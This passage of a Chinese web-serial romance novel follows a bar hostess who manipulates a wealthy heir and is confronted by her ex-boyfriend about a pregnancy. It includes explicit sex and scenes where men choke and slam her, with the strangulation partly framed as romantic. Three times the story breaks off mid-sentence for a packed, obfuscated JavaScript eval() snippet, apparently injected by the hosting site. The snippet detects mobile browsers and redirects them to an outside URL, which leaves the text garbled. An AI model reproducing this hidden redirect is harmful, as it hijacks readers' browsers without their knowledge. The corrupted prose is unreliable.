这样的活轻松,因为不需要千方百计地哄着客人消费酒吧酒水,又最艰难,因为大人物有大人物的古怪脾气,她们随时可能因为一个眼神、一个动作就惹人不高兴,到时候别说给提成了,在alluring也再也做不下去。 云遥唇角一勾,点头说:“姐放心吧。” 姚姐满意拍拍她肩膀,笑说:“我就对你最放心,有了好活,第一个先想到你。” 她推开门,让云遥进去。 包间开着最暗色的蓝光灯,从灯光明亮的走廊进去,云遥有那么十几秒看不清东西,等她发现眼前出现个黑影,已经躲避不及,脖颈被一只大掌用力掐住,后背抵上包间厚重的大门。 云遥被他掐着提起来,呼吸不了,脚尖绷直挣扎不开,去推男人钢铁一般的胳膊。 抬头看见他阴沉如水的俊脸,一瞬间睁大了眼睛。 就在她如何张嘴也呼吸不了,胸肺涨痛到极致,双眼充血凸出,脑袋也充血胀痛无法产生任何思考,以为自己就要殒命在此的时候,那只掐着她的大手突然卸力,像甩只小鸡仔一样,将她丢到了沙发上。 云遥蜷缩在沙发上,双手握着脖子,用力咳嗽,拼命喘息汲取这来之不易的氧气。 严泊裕来到她跟前,垂眼瞧着她狼狈不堪的模样,像瞧一只渺小的蝼蚁,冷声道:“不是喜欢我吗,不是喜欢我喜欢的不能自拔吗,看见我过来找你,怎么不感动到哭了?” 云遥在咳嗽中觑他一眼。对她又掐又甩的招数看似凶狠,但眼里没多少恨意。看来她之前的做法有些效果。 手指抓上男人轻薄的西裤面料,云遥喘息说:“瑶瑶……瑶瑶自然是……倾慕严公子的……” 严泊裕冷呵一声,“倾慕我?倾慕我就是耍了我?” “瑶瑶哪敢耍您。” 严泊裕指尖冷漠捏住她的脸,“少用这么一张楚楚可怜的脸看我,装的太假。” 云遥僵了片刻。 严泊裕提她起来,掐上她下巴,逼她抬眼看着自己,“刚才哄那些男人的时候不是挺会吗,我不是你的客?到我这就成演戏了?” 几乎眨眼之间,云遥就换了一张娇俏的神采,挽上男人胳膊,声儿也掐了起来,只是因为刚才被掐喉咙的缘故,柔媚中有些沙哑:“原来严公子喜欢这种类型的呀,您早说嘛,瑶瑶演的确实挺累……哎呀……” 最后一句没说完,便又被甩回了沙发上。 严泊裕掏出巾帕擦擦自己的手,嫌恶道:“别碰我,脏。” 云遥侧倒在沙发上,双脚蹬掉鞋,轻飘飘踩上男人梆硬的大腿,“严公子,您这话说的瑶瑶可真伤心,瑶瑶虽然演的不合您心意,但瑶瑶也是真心爱慕您的呀……不然,我图您什么呢?” 严泊裕当然想知道这个来路不明,去向模糊的女人接近他图什么,否则,他为什么要来这一趟。 单手掐上她脖子,乌沉沉的眸子紧盯着她,“说!” 云遥的脚指头从他的大腿踩上那晚让她无法自拔的位置,蹂躏着,撩眼看着他,“当然是因为瑶瑶喜欢您,爱慕您,难不成,我还能图您严家少奶奶的位置?” 严泊裕手上力道加重,警告她说实话。 云遥面色逐渐涨红,在暗蓝色灯光下仿佛煮熟的猪肝色,再没有精力转着眼睛勾引他,声音也不如先前流畅:“……钱……” 她只发出了这一个音,便将自己的小命从阎王手底下救了回来。 他将她丢开,云遥蜷缩在沙发上用力呼吸。 严泊裕垂眸扫她,“还有呢?” 这次他虽有控制力道,手下留情,但云遥喉咙原就没恢复,疼痛加重在所难免,仿若死鱼一样在沙发上喘了十分钟,才能说出一句流利的话,自嘲着说:“既然严公子不信瑶瑶爱慕您,那就只有钱这一条了,瑶瑶想要钱,不想继续在这里每天给客人赔笑,为了那点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958553|136696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少得可怜的提成不知道灌进肚子里多少斤酒水。” “真的?” 云遥双手捂着脖子,惨笑一声,“瑶瑶哪还敢骗您。” 严泊裕没说话,包间内一时有些安静。 云遥乖顺地垂着眼,耳朵里灌满了突突的心跳声,猜不透他此刻的想法,想抬头看一眼他的表情,又怕再惹怒了他,悬着一颗心等待时间的流逝。 不知道过了多久,男人突然有了动作,弯腰将她搂进怀里,端起桌上的柠檬水喂给她,无奈又宠溺道:“我终究是为你心软了。” 云遥笑得讨好乖巧。 喝完,她抱着男人的脖子撒娇:“您刚才可吓死瑶瑶了,以后不能再这么做了,刚才瑶瑶真以为您想要了瑶瑶这条不值钱的小命呢。” 严泊裕淡笑,“想什么呢,我怎么可能舍得掐死你,那我的生活岂不会少了很多乐趣?”软话说完再敲打她,“只要心思干净,钱当然少不了你的。” “谢谢严公子。” 云遥小心翼翼,试着在他脸颊留下一个吻,见男人没拒绝,终于放心展颜一笑,“您不嫌弃瑶瑶就好,真怕您嫌弃瑶瑶,再也不要瑶瑶了。” 她说完,又亲男人嘴唇,吸吮辗转,丁香小舌试探地撬开他的齿关,得到男人的回应,终于落下悬着的心,搂着他的脖子与他接吻。 严泊裕将她抱起来,抵到门上,做这种活,云遥都是穿最难脱的牛仔短裤,这玩意儿面料厚,难撕,严泊裕扯不下来,这会儿纾解不了的火气,连带着公寓那晚积攒的,一股脑全窜脑袋顶上了。 云遥安抚地亲亲他,柔声说:“严公子……这里不行……” “去哪儿?” “您说去哪就去哪,瑶瑶都听您的。” 严泊裕现在看见她这种乖巧的脸就想起自己被她耍弄,被萧郑息嘲笑的事儿,真可谓是“玩鹰的被鹰啄了眼”,丢人丢大发了。 “别再给我装乖。” 云遥立刻换了张妩媚动人的脸蛋,软声撒娇说:“早听说严公子在铭泰酒店有专属总统套房,瑶瑶还没见过,想去享受一晚上。” 男人掐她屁股一把,“准了!” 叫人进来结账,严泊裕拉着云遥就走。 这股邪火憋了快一个星期了。 她留在公寓里的香水味半个月了也没散干净。 云遥搂上严泊裕臂弯,在一众小姐妹艳羡的目光中,与他一同走出酒吧大门。 晚上十点,正是这条街热闹的时候,酒吧门口人来人往,云遥突然感觉有人在看她。 因为长得漂亮,穿的性感,在酒吧这种场合,云遥早已经习惯自背后望过来的目光,但今晚察觉到那道视线之后,心跳忽然不安加快。 佯装不经意回头扫一眼,形形色色的陌生人影,正欲收回,注意到大路边一个盯着她看的男人。 距离稍微有些远,他站在绿化带的围栏边,那片光线很暗,只能看见他穿了一件黑色短袖,头发剪的很短,一双眼鹰悍一样紧紧盯着她,似乎在此地蹲守已久,就等着她出门。 还以为是眼花,云遥停脚又多看了两眼。 在她确定猜测,心肝颤抖准备拉着严泊裕走的时候,他也停下了脚,好奇投过去一眼,“认识?” 云遥心里慌乱,挽着他的胳膊不自觉地动了动,面上娇俏笑说:“谁认识呀,一看就是个土老帽。” 严泊裕好整以暇,淡声道:“他好像认识你,不过去问一问?说不定是从前认识的。” “可瑶瑶现在已经迫不及待和您一起去享受总统套房了,怎么办呀?”云遥似是为难,娇声问他。 11. 周明坤 “快走吧。”云遥催促道。 陌生男人的目光实在太过犀利尖锐,严泊裕又多看了两眼,垂眸瞧女人强作镇定的撒娇,逗猫儿一样勾了勾她的下巴,“当然是享受当紧。” 云遥抿唇一笑,挽着他的胳膊一起上车离开。 车子转弯上大路,从那穿黑短袖的男人身边经过,云遥笑吟吟地和严泊裕说话,没有转头动一下。 严泊裕不经意扫了一眼后视镜,看见男人转身盯车的动作。 铭泰酒店顶层总统套房内,阳台有一方泳池,云遥弯腰拨动池水,有些遗憾,“没带泳衣,可惜了。” “这有什么。”严泊裕倚在阳台门框上,“玻璃是单面的,放心游。” 云遥抬眸问他,“可我也不会游泳,怎么办呀?” 男人盯着她这双仿佛会勾魂儿的眼,低咒一声,掐住她的腰提坐到泳池沿上,指腹用力压她的脸,黑眸深邃,“不会我教你,怎么样?” “那真是辛苦严公子了。” “不辛苦。” 泳池水到腰,严泊裕跪下去,也才到腹肌上方,他将女人按在玻璃窗上,和他一块往下看。 32层高的阳台,只能看见下面立着一道孤高黑影,与地面的影子沉默相伴。 严泊裕说:“他竟然跟过来了。” 不知道是真不可思议,还是怕她认不出来特意提醒。 云遥回头睨他,“你们这些人的癖好真奇怪。” 严泊裕一双黑眼火热地看着她。 她嘲讽说:“那是我前男友,满意了吗?” 他一点也不意外,“怎么分了?” “因为他没有这种癖好。” 严泊裕朗声低笑,速度有些慢,随后又突然用力,贴到她耳边说:“那你可真是……甩的好。” 云遥双颊嫣红,轻轻一笑,“我也觉得。” 游泳教学结束时,泳池周围湿漉不堪,紧挨着休闲区的地毯也湿了大片,云遥发现他们这种人真挺变态的,越有人观赏越兴奋,即便那个人站在32层楼下,完全看不见泳池内的风景,也能激起严泊裕高昂的兴致。 双腿疲软,那儿更是酸疼的厉害,云遥摸着男人胸膛,嗓音微哑,“瑶瑶没有力气了……严公子……” 男人拍她屁股,“爷抱你出去。” 云遥身体已经熟透,洗澡时他碰一下都要轻轻叫一声,浴室内热气氤氲视线,她的面颊被蒸得红透,严泊裕看着,喉头滚了一下,浇热墙壁,架起她的腿抱上去。 从浴室转战卧室,大床太软,找不到支撑点,严泊裕掐着她的脸低喘说:“不是想享受总统套房,爷带着你全部试一遍,如何?” 云遥已经没了力气,瘫软在床上,还是要笑,“严公子提议,瑶瑶自然要奉陪到底。” 但还是没试完,在客厅桌上的时候严泊裕的手机突兀地叫起来,他接通后喊了一声妈。云遥看他一眼。 “我知道了,现在就回去。” 等他挂了电话,云遥亲昵贴着他的肩膀,“严公子现在就要走吗?” “嗯。” 严泊裕抱她回去,进浴室一起冲一下,然后用浴巾将她包住丢到床上,自己擦干净身体,打开衣柜找衣服。 云遥侧支着身体看他穿衣服,状似好奇问:“严公子都这么帅了,伯父伯母是不是更好看?” 严泊裕回头看她一眼,“对我爸妈感兴趣了?” 云遥挪开胳膊,娇软无力地爬伏在床沿,“瑶瑶只是突然感叹一下。” “问该问的话,吃该吃的饭,这不是你们这种人的行事准则吗?” “总有想为他打破规则的人嘛。” 严泊裕睇她一眼,什么也没说,但明晃晃地告诉她:这种鬼话他再不会信了。 穿好衣服,严泊裕说:“你歇着吧,什么时候想走了再走。” 他说完就离开,云遥望着他的背影,冷冷扯唇。 防备心真重。 也不怕被压死了。 这儿没有云遥能穿的衣服,她在泳池边上找到之前脱下来的,已经湿了一部分。 关门离开,出了酒店大门,广场上的身影已经没了,换了辆高级商务车停在那里。 云遥心神不安地转了一圈,也没在周围看到。 深夜的凉风吹到身上,冷得她搓了搓手臂,尤其是湿掉的裤子黏在屁股上,凉意更甚,在此刻更让她不适,有些心烦地揪了揪。 打车到胡同口,云遥付钱下车,没走几步,忽然发觉不对劲,没回头,也没继续往胡同口走,转头就朝街上跑。 但不妨那人的速度比她还快,漆黑的巷道,响起的脚步声又沉又重,几秒就抓住她肩膀,狠狠怼到墙上,疼得云遥以为骨头要裂了。 弦月东走,星光稀微,高墙林立的巷子漆黑不见五指,男人粗重的呼吸喷到脸上,云遥忽然愣了一下。 “周明坤。”她叫。 男人的呼吸更重了,安静的空气中响起他牙齿重重碾磨的声音。 “周明坤!”这一声有了十足的笃定。 “我的孩子呢?”他的声音又低又沉,裹挟着怒气,凌厉似刀锋,向她发出质问。 云遥又愣了下。在见到他之后,甚至在和严泊裕做的时候,她都想过和周明坤见面之后,他会问她什么:问她为什么要骗他,为什么要走,为什么要自己走,为什么不告诉他,为什么走了之后没有给他丁点消息……无论如何也料想不到,他对她说的第一句话会是,我的孩子呢? 云遥都笑了,肩膀的疼让她的笑听起来有些滑稽,“你说什么呢?” “我的孩子呢?”男人丝毫不被她打扰,盯着她,一声比一声低沉犀利地质问。 “当然是打掉了。” “撒谎!”他的声音陡然厉肃起来,抓着她肩膀的大手也不断用力。 仿佛断骨的痛让云遥面色泛白,黑夜中渐渐有了漂亮的脸部轮廓,嘴上依旧不怕死地说:“不打了干什么,你还想着我生出来?” “你没打,表姐说你根本没去!” 巷口突然刮进来一阵风,让他这低沉犀利的一声,慢慢与两年前山上迸发的欢笑融为一体。 那是个盛阳灼热的午后,周明坤放假回村里,云遥还叫小夭,已经不上学了,两人照旧在山上的一棵老槐树下约会。 高高的山头,连绵起伏的山脉,猎猎大风吹起她黑亮的头发和彩色的薄纱围巾。 周明坤说:“小夭,天这么热,你怎么还戴着围巾?” 小夭没理,她捂着肚子,平静地说:“我怀孕了。” 周明坤一愣,双眼猛亮地盯着她,激动的不知道要做什么,抹一把脸,抱起她来回转圈,兴奋地又叫又笑。这可能是小夭认识他以来,见过他最开朗的时候。 山里的孩子都结婚早,有孩子也早,周明坤因为上学还没结亲,他爸妈等着他今后能考上大学,带回来个上大学的媳妇。但他看着发小都各自结婚有了小孩儿,他也和小夭谈了恋爱,早盼着哪一日也能和她结婚生小孩儿。 但小夭脸上不见丝毫喜色,她拍着周明坤的脑袋让他放自己下来,拉下脖子上的围巾,给他看青紫的手指印,“阿爸昨天发现了,把我打了一顿,差点掐死我。” 周明坤懵了,“为……为什么?你阿爸不同意我们?” “你爸妈不愿意,阿爸昨天去你家找你爸妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958554|136696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说去了,他回来就把我打了一顿,不让我再和你好了。” 周明坤呆呆地看着她。 小夭说:“他今天已经在家接媒人了,要给我说媒。” “我去找阿爸,他会同意的……” 小夭冷静说:“给我钱,我要打掉他,不然我爸能打死我。” 周明坤还抱着她,捏着她的衣服不想动,眼里挣扎撕扯,又软乎乎地望着她,求她不要打掉。 小夭说:“你爸妈不会同意的,他们想你以后上大学了找个有学问的媳妇,但我要是现在不打掉这个孩子,阿爸明天就会打死我。” 周明坤这才仔仔细细慢慢吞吞地翻兜掏钱。 因为今天来找小夭约会,他把这一个月在学校省吃俭用的钱都带过来了,全给她,“我有个表姐在县医院做妇科医生,医术很好,你去找她……我和你一块去。” “不行。我爸不让我和你好了,要是让他看见我和你在一块,他肯定会掐死我的。” 她冷静看着少年清澈紧张充满哀痛的神情,肯定说:“你知道,他会掐死我的。” 那时候的周明坤,单纯、好骗,说什么都信,现在跟猴一样精。 黑暗中,云遥握上他捏自己骨头的手腕,“周明坤,你也不想想,县医院都是十里八村的熟人,我今天上午去那上了手术台,下午全镇的人都会知道我怀了野男人的孩子,我还怎么嫁人?” 她这句话说完,感觉到他的手劲松了一些,刚想推开他,男人骤然加重力气,肩膀又撞到墙上,还是同一个受伤的肩胛骨,疼得她浑身打颤。 周明坤冷声:“所以你根本没打掉,我的孩子呢?你藏哪儿去了?” “我打了,进城之后就打了。”云遥痛得嘶嘶喘息,“你进了城,就知道城里的物价有多贵,我要是怀着孕怎么干活挣钱?更不可能来到这里。” 男人上下扫了扫她这一身,挂脖吊带,领口低的快要盖不住那两个点,热裤短的恨不能变成三角,声音里藏不住的轻蔑,“你也不用挣力气钱。” 云遥也讽刺说:“这么说,你还挺愿意让你的孩子出生在那种地方。” 他脸色陡然一变。 云遥终于找到机会,用力推开他,“我已经和你分手了,孩子我也打掉了,我们现在没什么关系,你别再来找我。” 她说完就要走,刚动一下,再次被男人怼到墙上,浓浓夜色也能感觉到他汹涌喷薄的怒气,“谁说分手了,我什么时候同意了?小夭,我还是你男朋友!你不能和那个男人在一起!” 云遥嘲讽笑他,“你不允许?你当你是谁,我是通知你我们分手了,不是和你商量。我们两年前就分手了,我现在和谁在一起,想和谁在一起,都跟你没有任何关系!少来打扰我。” “还有!”她郑重通知,“别再叫我小夭,我现在叫云遥!遥远的遥!” “你已经和那个男人在一起了?” “对啊。”她骄傲地,与有荣焉道,“你知道他是谁吗,严家的严少爷,不过你可能连严家都没听说过,权势越大的家族越隐世,你不知道也正常,我只是奉劝你,不要阻止我飞上枝头变凤凰。” “呵……” 云遥用力推他,推不开就掐他咯吱窝,这里是他最致命的敏感点,以前闹着玩的时候发现的,用力掐的时候能让他疼的全身冒汗,面堂发白。 他果然卸力松开,云遥迅速跑出他和墙的包围圈,冷声警告:“别再来找我,要是让我现在的男朋友知道你还来骚扰我,我保证他会打断你的腿,挑断你的筋,让你生不如死。” 她说完,加快速度跑进胡同。 身后很久没有跑步声撵来,应该是怕了。 12. 晕倒 一个晴朗的傍晚,晚霞挂满遥远的天际,云遥放在吧台的手机响了一声,快速翻过来看一眼,又意兴阑珊地丢回去。 调酒小哥哟一声,“瑶瑶姐,等情郎啊?” 云遥接走他的牛奶,“调你的酒去。” “让我猜到了?上回那个看着又帅又有钱的?没再见他来过啊。” 云遥垂眼看着手机屏幕,那回午夜一别,严泊裕确实没再找过她,微信也没找过,她主动发了一次消息,说自己的脚链可能丢泳池了,他派人进去找,说没找到,回头赔她一个。 但到现在也没后续。 手机掂在指尖,犹豫要不要再发一条。 欲擒故纵虽然有用,但也不能太放纵了。 还没想出来个所以然,门口有人叫她一声:“瑶瑶姐,有人找。” “谁啊?”云遥边拉防晒衣拉链边往外走。 “一个男人,不认识。不过挺帅的。” 门口迎客的说不认识,那就是不常来酒吧的。 不常来的,又帅,又知道她在这干活的…… 两个人名在脑子里打圈转,到门口看到人,心想猜的真准。 天还亮着,这回看清了他的脸,比在山上的时候白了不少,皮肤也光滑很多,那时候紫外线晒得皮肤又黑又糙,远没有城里十七八的少年鲜嫩。 云遥态度冷淡,皱着眉说:“我不是告诉过你了,不准再找我、再打扰我,你又来找我干什么?” 周明坤的脸色同样很差,严肃地绷着,命令她,凌厉的口气称得上是警告:“你不能和那个男人在一起。” 真好笑。 云遥也偏头笑了一声,轻蔑说:“你当你是谁,你说不让我跟谁在一起,我就不跟谁在一起了?” 周明坤被她这一声嘲笑激怒,脸色微微涨红,“……你不就是想要钱,要多少,说个数。” “怎么,挣到钱了,不知道怎么花了?”云遥看着他,“你有多少?” “你要多少?” “你先亮出来看看。” 城里的钱都是存卡里,手机就能看余额,但周明坤显然还没适应,他犹豫着从裤兜里掏出一个黑色塑料袋,抬眉看她一眼,在女人拭目以待的眼神下,撑开塑料袋的口子…… 只一眼,就一眼,云遥噗一声笑出来。 她这一声笑很放肆,酒吧虽然还没到正式上人的时候,但也有早来的,店门口也有经过的路人,纷纷侧目。 男人的手已经紧握成拳,结实的小臂青筋爆凸,彰显他此刻压抑的尴尬和羞恼,但还是保持撑开塑料袋的动作给她看着,“……够么?” 云遥两根纤指捏走他的塑料袋,下一秒,像丢垃圾一样甩回他怀里,嗤笑说:“就这一点也敢往我面前送,还没我一晚上挣得多,还敢跟严少爷比,你怎么好意思拿出来的?也不嫌害臊。” 他脸色突然涨红。 这时有女人扭着腰从店里出来,捂嘴笑说:“小子,你就这点身家就不要拿出来丢人了,多少千万亿的男人来‘买’瑶瑶回家,她都不乐意呢,她就喜欢在alluring待着,等着她的好情郎——”最后一句拖着音笑睨一眼云遥。 云遥凉了脸,对女人说:“丽丽,这是我的事。” “呦,我就说两句,瑶瑶怎么就不高兴了。” “姚姐不喜欢搞内讧的人,你要是不想我告诉她把你赶出去,你就继续挑衅。” “真是的……”丽丽翻她一个白眼,恋恋不舍地再看一眼门口的男人。她是真喜欢,刚远远见那一眼就喜欢,不是常见的毫无特点的帅,面庞和眉眼都有种野蛮的冷厉,很有味道,下面虽然穿的宽松,隐约估摸着也非常可观,床上应该很带劲。 不过背靠alluring这棵大树挣钱才是最重要的,她摇摇头,扭着身子走了。便宜的男人也不值得她花心思勾搭。 云遥也准备回去,淡声说:“我们已经没有任何关系了,别再来找我,我之前的话不是空话,你再来找我,他真能找人打断你的腿。” 她这样奚落他,死心塌地对另一个男人,周明坤也不是没有一点自尊心,喜欢热脸贴人冷屁股,脸上的红渐渐消散,态度冷漠道:“如果我说,前天你那个男朋友派人去找我调查你,你也不感兴趣?” 云遥已经转过去的身子,猛然转回来,震惊地盯着他。顿了顿,镇定下来问:“你想干什么?” “我的孩子在哪里?” 云遥懵了,他怎么还提孩子? 她烦躁皱眉,“说了打了打了,你怎么就是不信。” “你在哪打的,带我过去查病历!” “没有病例,随便找的小诊所打的,便宜省钱,行不行?” 周明坤不信。 她肯定没打。 云遥左右看了看街道两侧,人来人往也看不出什么,下一级台阶靠近他,低声说:“今晚凌晨两点,还是上次的胡同,你过去等我,我就告诉你,你的孩子在哪里。” 他身体訇然一震,双眸黑亮,紧紧盯着她,“你果然没打!” 云遥轻轻笑,“没有,我也没带在身边,所以你今晚记得去。” 她拍拍男人肩膀,再为他掸去肩头的尘土,挥挥手,“你走吧。” 也不知道这句话是对男人说的,还是说给街上看不见的眼线。 一晚上,云遥喝酒陪笑都有些心不在焉。 她不知道严泊裕都查到了些什么,又是往哪个方向查的。她明白这种站在云端的男人防备心重,心思难猜,但等他真正对自己戴上假面的时候,她是一点也猜不到他的心思了。 胸上忽然一疼,云遥下意识蹙了蹙眉,客人搂着她的肩膀,笑中蕴着薄怒,“瑶瑶,想什么呢这么出神,老子叫了好几声都不愿意理,是今天点的酒还不够多?” 这是每回来都点瑶瑶作陪的男人,在下三流的道上有点势力,云遥伺候的也小心,随即娇声软语:“怎么会,当然是瑶瑶被龙爷迷得找不着魂儿了。” 男人爽朗大笑,再掐一把她的脸,“还是瑶瑶嘴巴最甜!” 云遥害羞地低下头,给他倒一杯最贵的酒,“龙爷喝酒,瑶瑶敬您。” 酒过三巡,男人脸上见了薄红,搂着她的粗糙大手不住滑摸,“今儿难得天好,星星多,想不想去山上看夜景,嗯?” 云遥倚着他笑,“昨儿才听说龙爷得了五华山的别墅,两个亿呢,瑶瑶也想去开开眼,但今天身体不舒服……” 男人脸色微变,沉沉盯着她,“我记得上月不是这时候。”握着她肩膀的大手也使出蛮劲儿,“不识抬举?” 肩膀疼,但云遥只能赔笑,摸着他的胸口顺一顺,“龙爷消消气,提前了,每天喝冰酒,瑶瑶的经期紊乱的厉害。” 他卸了力,黑脸不快,“早说让你别在这干了,想要多少钱老子给,跟着老子不比在这强?” “龙爷对瑶瑶真好。”云遥心怀感激,主动贴到他身上,“但瑶瑶还是想自己挣钱。” “你就是太有骨气。”他皱着粗眉笃定说。 “龙爷嘴巴更甜。” 云遥笑一笑,吻他一下,稍作安抚,恭敬小心地将人送走,那边姚姐派人叫她去下个包间,云遥挥挥手,“不去了,我今天身体不舒服,先结束了。” 回到休息室,穿上防晒衣,忽然感觉下面有东西流出来,暗骂一声,还真来了。 路边超市买包卫生巾,再找个公共卫生间换上,云遥提着袋子回家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那个男人问我,我们是什么关系。”周明坤抬头盯着她,声音冷到极致,“问我——你真名叫什么,从哪里来,为什么要去那个酒吧做陪酒女。” 云遥摁着肚子,垂了垂眼,看着他,“你怎么回答的?” 他冷笑,“我当然如实说,说你叫余夭,来自大坝山。至于你为什么要进酒吧做个陪酒女,我怎么知道。” 在他说第一句话的时候,女人的眼神已经变了,再没有重逢后的游刃有余,震惊之后,紧张、担忧,发怒,甚至有了害怕。 “你怕什么?”周明坤尖锐质问,“你既想攀高枝,又怕人家知道你过去的经历,不再要你?” “你懂什么?!”云遥气得眼眶发红,肚子越来越疼,用尽全身力气踹他,“你懂什么?!周明坤我告诉你,他们再问你,你就说我们两年前在锦城谈过一个星期,然后我就和你分手走了,你什么都不知道,你不想再理我的事,敢多说一句,坏了我的好事,别说你的孩子了,你以后的子子孙孙我通通都给你毙干净!” 她说完就走,周明坤迅速起身拉她胳膊,这才感觉到,她身体冰凉颤抖。 “他对你不是真心的,你和他断了。” 云遥全身上下所有的力气都用在刚才踢他那一脚上了,现在身体虚弱的厉害,全身冒冷汗,头晕眼黑站不住,嘴上依旧在说:“我说过我们已经分手了,我现在和谁在一起是我的自由,我喜欢他,我愿意,我就想和他在一起,你听懂我的话,守好你的嘴,别搅合了我的好事,对谁都好,咱们各走各的路。” “你不就是想要钱,你想要多少,我都给你搞到手。” 云遥苍白的唇角勾个冷笑,“那你知道他有多少钱吗,是你一辈子都不敢想的,都想不到的!” 她推开他,扶着墙,弯腰捂着肚子,一步一停,虚弱地往前走。 周明坤攥紧拳头,手臂青筋蜿蜒,压抑着蓬勃怒意,盯着女人仿佛下一秒就能晕倒的背影,几个大步追上去,“我的孩子在哪儿?” 他问的时候勾了下她的胳膊,但这一带,突然让她脚底不稳,他慌的上前一步,她身子绵软无力倒他胸膛上。 晕倒了。 13. 前男友 隔着一层夏天薄薄的布料,周明坤感觉到她柔软的身体,紧张的忘了呼吸。 他们恋爱的时候,说是蜜里调油也不为过,他每月回家过一次周末,会提前在镇上搜罗各种好吃的送给她。她每天都要上山割猪草,他陪着她一起,帮她早早割完,剩下的时间两人就在比人高的草里翻滚。 他对她的身体很熟悉。他的身体对她也很熟悉。 喉头重重滚了一下,周明坤低头看着她苍白的脸,紧皱的眉头和满脸的冷汗。 “活该。”他低咒一声。 …… 云遥醒来的时候,窗外天光大亮,明灿灿的阳光照在地板上。 昏迷前的记忆涌入脑海,云遥坐起来看了下环境,病房空荡安静,旁边一张病床上躺了一个男人,他个子高,一双大脚伸出床尾。 同时感觉到身下的异样,低头一看,短裤没了,内裤换成了安睡裤。 “……” 在床尾找到她原先的裤子和内裤进卫生间换上,洗把脸,漱好口,出来拿上床头桌上的住院单,旁边摆着拆开包装的安睡裤,袋子里还剩一个。 她还没走到门口,听见身后一道冷淡的声音:“又是一声不吭就走?” 云遥回头,男人已经坐起来,黑沉沉的眼睛看着她。 云遥冷笑,“你让我说什么?感谢你?感谢你明知他们找你是调查我,还什么话都说,故意搅坏我的事,把我气晕? “那我可真要谢谢你,有个这么会拖我后腿的前男友。” 周明坤一言不发地注视着她这张嘲讽的面容,打心底里觉得陌生,这张脸陌生,这张脸做出来的冷嘲热讽的表情更让他觉得陌生。 这一刻,他终于再也不能欺骗自己,进城两年,他心爱的姑娘已经变了太多太多。她再也不是曾经那个干净淳朴的女孩,再也不是和他一起爬山摘果子,在草地里打滚,看见他就欢喜抱住他的小夭了。 她现在叫云遥,与天齐的云,遥远无边的遥,攀龙附凤的心比烈火还要灼烫。 “就算知道那个男人不是真心对你,你也要和他在一起?” “当然。” 周明坤淡声说:“不是要交换吗,我告诉你了,你也应该告诉我,我的孩子在哪里。” 云遥唇角讥讽,“你知道你那两句话会给我造成多大的困难吗,你知道你那两句话可能让我丧命吗?还想知道孩子在哪?” 他面色骤变。 云遥闪身拉开门。 病房内响起沉重急促的脚步声,她快步往外跑,但双人病房太小,他又睡在靠门的这一边,到门口不过两三个跨步的距离,她还没越过门,就被抓住胳膊拽回去。 周明坤将她抵在门口的白墙上,黑眸蕴着怒气,浓的像吹不散的飓风,咬牙问:“你耍我?!” 自知挣扎不过,云遥干脆放弃反抗,讥诮抬眼,丝毫没有被他威吓到,“我有说一定会告诉你吗,交易交易,你给的货我不满意,我还会把报酬交付给你?” 周明坤看着她没说话,病房适时陷入一片安宁。 片刻后,他翻滚的眼底渐渐平静,缓缓眨了下眼皮,低声说:“如果我告诉你,我什么都没说呢?” 云遥蓦然愣了下,意外地望着他,开始仔仔细细近距离打量这张熟悉又陌生的面孔。 过了两年,他像是完全长开了,脸骨比从前更为立体,下颌骨转角利落,线条流畅,双眼皮褶的很深,眉眼漆黑尖锐,比从前更有野性,更像一匹不服管教的野狼,人也更精明厉害,都知道说假话诈她了。 云遥轻笑,白皙指尖点他胸口,胸肌梆硬,“你自己说说,这话我会信吗,你怎么让我相信,你不是因为我刚才那句话,故意这么说的?” “你要怎样才能告诉我?” “该告诉你的时候自然会告诉你,你别强求行不行,我现在有事,你别再耽误我的时间。” 她动一下,被他按的更紧,他脸上又生了怒,眼眸也更紧地盯着她,“你要去找那个男人了?” 云遥也怒瞪他,“你知道你给我惹了多大麻烦吗?起开!” 用力推了下他的肩膀,这次倒是推开了,云遥拉开门快步出去。 …… 云遥先去办出院手续,护士说钱已经交过了,她转脚就朝医院门口的方向走,完全没意识到现在已经和周明坤没关系了,应该把住院的钱还给他。 出了医院,云遥打开微信,昨晚姚姐让她去的那个包间她没去,问她身体哪不舒服。 敷衍地回了两句,顺便请经期假。 手指百无聊赖地往下滑,一连串的红圈,密密麻麻看的人能生出密集恐惧症。 都是想约着她出去玩的男人,各行各业,各种道的都有,富二代、高门贵子、地痞流氓、混黑的……曾经,在真正接触到严泊裕之前,为了摸到严家的边,她微信里加了太多的人。 滑到下面,那个严家徽章的头像安安静静,她也安静地看着,在主动出击还是被动等待中间循环摇摆。 实在选择不出来,顺手点进朋友圈,发现有个人发了一张宴席照片。 为了炫富炫权钓妹子,就算是自诩上层名流的公子哥也会发各种豪奢场面,这种大包间里,一张大圆桌,摆了满桌山珍海味的照片并不稀奇,吸引她眼球的是桌上的男人。 几乎每晚睡觉前,这张脸都会出现在她脑海里,照片里,他穿着正式的戗驳领西装,衬得更加端正严肃,成熟内敛,身边挨着坐的女人赫然就是那天在卫生间里泼她冰水的名媛小姐。 而两人手边分坐着两个老人,笑容满面,再明显不过的说亲。 他们还要结亲? 